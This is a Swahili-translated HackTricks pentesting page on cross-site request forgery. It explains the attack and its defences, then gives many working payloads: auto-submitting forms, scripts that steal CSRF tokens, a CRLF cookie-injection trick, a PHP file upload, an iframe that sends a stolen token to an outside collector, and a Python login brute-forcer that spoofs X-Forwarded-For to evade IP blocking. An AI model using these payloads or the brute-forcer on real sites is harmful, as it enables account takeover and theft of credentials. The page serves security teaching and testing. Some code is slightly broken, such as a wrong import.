hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

615 lines
26 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CSRF (Cross Site Request Forgery)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za bug!
**Machapisho ya Kudukua**\
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za kudukua
**Machapisho ya Kudukua ya Wakati Halisi**\
Kaa sawa na ulimwengu wa kudukua unaobadilika haraka kupitia habari za wakati halisi na ufahamu
**Matangazo Mapya**\
Baki mwelekezwa na zawadi mpya za bug zinazoanzishwa na sasisho muhimu za jukwaa
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
## Kuelezea Cross-Site Request Forgery (CSRF)
**Cross-Site Request Forgery (CSRF)** ni aina ya udhaifu wa usalama unaopatikana kwenye programu za wavuti. Inawezesha wadukuzi kutekeleza vitendo kwa niaba ya watumiaji wasio na shaka kwa kudanganya vikao vyao vilivyothibitishwa. Shambulio hutekelezwa wakati mtumiaji, ambaye ameingia kwenye jukwaa la muathiriwa, anatembelea tovuti yenye nia mbaya. Tovuti hii kisha huanzisha maombi kwa akaunti ya muathiriwa kupitia njia kama kutekeleza JavaScript, kuwasilisha fomu, au kupata picha.
### Masharti ya Shambulio la CSRF
Kutumia udhaifu wa CSRF, hali kadhaa lazima zikutane:
1. **Tambua Kitendo cha Thamani**: Mshambuliaji lazima apate kitendo cha kudukua, kama vile kubadilisha nenosiri la mtumiaji, barua pepe, au kuinua mamlaka.
2. **Usimamizi wa Kikao**: Kikao cha mtumiaji kinapaswa kusimamiwa tu kupitia vidakuzi au kichwa cha Uthibitishaji wa Msingi wa HTTP, kwani vichwa vingine haviwezi kudhibitiwa kwa kusudi hili.
3. **Kutokuwepo kwa Parameta Zisizotabirika**: Ombi halipaswi kuwa na parameta zisizotabirika, kwani zinaweza kuzuia shambulio.
### Ukaguzi Haraka
Unaweza **kukamata ombi katika Burp** na ukague ulinzi wa CSRF na kujaribu kutoka kwenye kivinjari unaweza bonyeza **Nakili kama fetch** na ukague ombi:
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
### Kujilinda Dhidi ya CSRF
Mbinu kadhaa za kujilinda zinaweza kutekelezwa kulinda dhidi ya mashambulio ya CSRF:
* [**Vidakuzi vya SameSite**](hacking-with-cookies/#samesite): Sifa hii inazuia kivinjari kutuma vidakuzi pamoja na maombi kutoka kwenye tovuti nyingine. [Zaidi kuhusu Vidakuzi vya SameSite](hacking-with-cookies/#samesite).
* [**Kushiriki rasilimali kati ya asili**](cors-bypass.md): Sera ya CORS ya tovuti ya muathiriwa inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma jibu kutoka kwenye tovuti ya muathiriwa. [Jifunze kuhusu kuzidiwa kwa CORS](cors-bypass.md).
* **Uthibitishaji wa Mtumiaji**: Kuuliza nenosiri la mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
* **Kuangalia Vichwa vya Referrer au Asili**: Kuthibitisha vichwa hivi kunaweza kusaidia kuhakikisha maombi yanatoka kwenye vyanzo vinavyoaminika. Walakini, kutengeneza kwa uangalifu wa URL kunaweza kuepuka ukaguzi uliofanywa vibaya, kama vile:
* Kutumia `http://mal.net?orig=http://example.com` (URL inaishia na URL inayotegemewa)
* Kutumia `http://example.com.mal.net` (URL inaanza na URL inayotegemewa)
* **Kubadilisha Majina ya Parameta**: Kubadilisha majina ya parameta katika maombi ya POST au GET kunaweza kusaidia kuzuia mashambulio ya kiotomatiki.
* **Vidakuzi vya CSRF**: Kuingiza kitambulisho cha CSRF kipekee katika kila kikao na kuhitaji kitambulisho hiki katika maombi yanayofuata kunaweza kupunguza hatari ya CSRF kwa kiasi kikubwa. Ufanisi wa kitambulisho unaweza kuimarishwa kwa kutekeleza CORS.
Kuelewa na kutekeleza ulinzi huu ni muhimu kwa kudumisha usalama na uadilifu wa programu za wavuti.
## Kuvuka Ulinzi
### Kutoka POST hadi GET
Labda fomu unayotaka kutumia ni tayari kutuma **ombi la POST na kitambulisho cha CSRF lakini**, unapaswa **kuangalia** ikiwa **GET** pia ni **halali** na ikiwa unapotuma ombi la GET **kitambulisho cha CSRF bado kinathibitishwa**.
### Kutokuwepo kwa kitambulisho
Programu zinaweza kutekeleza mbinu za **kuthibitisha vitambulisho** wanapokuwepo. Walakini, udhaifu unatokea ikiwa uthibitishaji unapuuzwa kabisa wakati kitambulisho hakipo. Wadukuzi wanaweza kutumia hili kwa **kuondoa parameta** inayobeba kitambulisho, si tu thamani yake. Hii inaruhusu kuzunguka mchakato wa uthibitishaji na kutekeleza shambulio la Kuvuka Ombi la Tovuti (CSRF) kwa ufanisi.
### Kitambulisho cha CSRF hakihusishwi na kikao cha mtumiaji
Programu **zisizohusisha vitambulisho vya CSRF na vikao vya mtumiaji** zina hatari kubwa ya usalama. Mifumo hii huthibitisha vitambulisho dhidi ya **mtungi wa jumla** badala ya kuhakikisha kila kitambulisho kimefungwa kwenye kikao kinachoanzisha.
Hivi ndivyo wadukuzi wanavyotumia hili:
1. **Kujiandikisha** kwa kutumia akaunti yao wenyewe.
2. **Pata kitambulisho halali cha CSRF** kutoka kwenye mtungi wa jumla.
3. **Tumia kitambulisho hiki** katika shambulio la CSRF dhidi ya muathiriwa.
Udhaifu huu huruhusu wadukuzi kufanya maombi yasiyoruhusiwa kwa niaba ya muathiriwa, kwa kutumia mbinu dhaifu ya uthibitishaji wa kitambulisho cha programu.
### Kuvuka njia
Ikiwa ombi linatumia "**njia ya kipekee**" **ya njia**, angalia ikiwa **kazi ya kubadilisha njia** inafanya kazi. Kwa mfano, ikiwa inatumia njia ya **KUWEKA** unaweza kujaribu kutumia njia ya **POST** na **tuma**: _https://mfano.com/my/dear/api/val/num?**\_method=KUWEKA**_
Hii inaweza pia kufanya kazi kwa kutuma **parameta ya \_method ndani ya ombi la POST** au kutumia **vichwa**:
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
### Kuvuka kitambulisho cha kichwa cha desturi
Ikiwa ombi linaweka **kichwa cha desturi** na **kitambulisho** kwenye ombi kama **njia ya ulinzi wa CSRF**, basi:
* Jaribu ombi bila **Kitambulisho Kilichobinafsishwa na pia kichwa.**
* Jaribu ombi na urefu **sawa lakini kitambulisho tofauti**.
### Kitambulisho cha CSRF kinathibitishwa na kuki
Programu inaweza kutekeleza ulinzi wa CSRF kwa kunakili kitambulisho katika kuki na parameta ya ombi au kwa kuweka kuki ya CSRF na kuthibitisha ikiwa kitambulisho kilichotumwa nyuma kinaendana na kuki. Programu huthibitisha maombi kwa kuangalia ikiwa kitambulisho katika parameta ya ombi linalingana na thamani kwenye kuki.
Walakini, njia hii inaweza kuwa dhaifu kwa mashambulio ya CSRF ikiwa tovuti ina dosari zinazoruhusu mshambuliaji kuweka kuki ya CSRF kwenye kivinjari cha muathiriwa, kama vile dosari ya CRLF. Mshambuliaji anaweza kutumia hili kwa kupakia picha ya kudanganya ambayo inaweka kuki, kufuatwa na kuanzisha shambulio la CSRF.
Hapa kuna mfano wa jinsi shambulio linavyoweza kuandaliwa:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
```
{% hint style="info" %}
Tafadhali kumbuka kwamba ikiwa **tokeni ya csrf inahusiana na kuki ya kikao shambulio hili halitafanya kazi** kwa sababu utahitaji kuweka kikao cha mwathiriwa, na kwa hivyo utakuwa unajiwekea shambulio.
{% endhint %}
### Badilisha Aina ya Yaliyomo
Kulingana na [**hii**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), ili **kuepuka maombi ya awali** kutumia njia ya **POST** hizi ni thamani zinazoruhusiwa za Aina ya Yaliyomo:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Hata hivyo, kumbuka kwamba **mantiki za seva zinaweza kutofautiana** kulingana na **Aina ya Yaliyomo** iliyotumiwa hivyo unapaswa kujaribu thamani zilizotajwa na nyingine kama **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Mfano (kutoka [hapa](https://brycec.me/posts/corctf\_2021\_challenges)) wa kutuma data ya JSON kama text/plain:
```html
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
```
### Kupita kwa Maombi ya Awali kwa Data ya JSON
Wakati unajaribu kutuma data ya JSON kupitia ombi la POST, kutumia `Content-Type: application/json` katika fomu ya HTML sio moja kwa moja inawezekana. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya yaliyomo huanzisha ombi la awali. Walakini, kuna mikakati ya kuzidisha kikwazo hiki na kuangalia ikiwa seva inachakata data ya JSON bila kujali Content-Type:
1. **Tumia Aina Zingine za Yaliyomo**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` katika fomu. Hatua hii inajaribu ikiwa seva inatumia data bila kujali Content-Type.
2. **Badilisha Aina ya Yaliyomo**: Ili kuepuka ombi la awali huku ukisaidia seva kutambua yaliyomo kama JSON, unaweza kutuma data na `Content-Type: text/plain; application/json`. Hii haizindui ombi la awali lakini inaweza kuchakatwa kwa usahihi na seva ikiwa imeboreshwa kukubali `application/json`.
3. **Matumizi ya Faili ya SWF Flash**: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash kupita kikwazo kama hicho. Kwa uelewa wa kina wa mbinu hii, tazama [chapisho hili](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Kupita kwa Ukaguzi wa Referrer / Asili
**Epuka Kichwa cha Referrer**
Maombi yanaweza kuthibitisha kichwa cha 'Referer' tu wakati kipo. Ili kuzuia kivinjari kutuma kichwa hiki, unaweza kutumia lebo ya meta ya HTML ifuatayo:
```xml
<meta name="referrer" content="never">
```
Hii inahakikisha kichwa cha 'Referer' kinaachwa, ikipitisha ukaguzi wa uthibitisho katika baadhi ya programu.
**Kupuuza Regexp**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
Kuweka jina la kikoa la seva katika URL ambayo Referrer itatuma ndani ya paramita unaweza kufanya:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
```
### **Kichwa cha kufanya upuuzi**
Sehemu ya kwanza ya [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaeleza kwamba [Msimbo wa chanzo wa Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa kushughulikia **maombi ya HEAD kama maombi ya GET** bila mwili wa jibu - njia ya kawaida ambayo sio ya pekee kwa Oak. Badala ya kushughulikia maombi ya HEAD kwa njia maalum, maombi hayo **hutumwa kwa kushughulikiaji wa GET lakini programu inaondoa mwili wa jibu**.
Hivyo, ikiwa maombi ya GET yanazuiliwa, unaweza **kupeleka ombi la HEAD ambalo litashughulikiwa kama ombi la GET**.
## **Mifano ya Kutumia Mabaya**
### **Kuchota Tokeni ya CSRF**
Ikiwa **tokeni ya CSRF** inatumika kama **ulinzi** unaweza kujaribu **kuichota** kwa kutumia [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability au [**Dangling Markup**](dangling-markup-html-scriptless-injection/) vulnerability.
### **KUTUMIA GET kwa kutumia vitambulisho vya HTML**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Vivamishi vingine vya HTML5 vinavyoweza kutumika kutuma ombi la GET kiotomatiki ni:
```html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">
```
### Ombi la kupata la fomu
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### Ombi la POST la Fomu
```html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
```
### Kutuma ombi la POST kupitia iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### **Ombi la POST la Ajax**
```html
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>
```
### Ombi la POST la multipart/form-data
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
### Ombi la POST la multipart/form-data v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### Ombi la POST la fomu kutoka ndani ya fremu
```html
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **Pora Token ya CSRF na tuma ombi la POST**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### **Pora Token ya CSRF na tuma ombi la Post kwa kutumia iframe, fomu na Ajax**
```html
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
### **Pora Token ya CSRF na tuma ombi la POST kutumia iframe na fomu**
```html
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
```
### **Iba token na uitume kwa kutumia 2 iframes**
```html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF token with Ajax and send a post with a form**
### **POSTIba CSRF token na Ajax na utume posta na fomu**
```html
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
```
### CSRF na Socket.IO
```html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
```
## Kuvunja Nguvu ya Kuingia CSRF
Msimbo unaweza kutumika kuvunja nguvu fomu ya kuingia kwa kutumia tokeni ya CSRF (Pia inatumia kichwa cha X-Forwarded-For kujaribu kukiuka uwezekano wa kuzuia anwani ya IP):
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## Vifaa <a href="#tools" id="tools"></a>
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## Marejeo
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
* [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za udhaifu!
**Machapisho Kuhusu Udukuzi**\
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za udukuzi
**Taarifa za Udukuzi za Muda Halisi**\
Kaa up-to-date na ulimwengu wa udukuzi wenye kasi kupitia taarifa za muda halisi na ufahamu
**Matangazo ya Karibuni**\
Baki mwelewa na tuzo za udhaifu zinazoanzishwa na sasisho muhimu za jukwaa
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
<details>
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>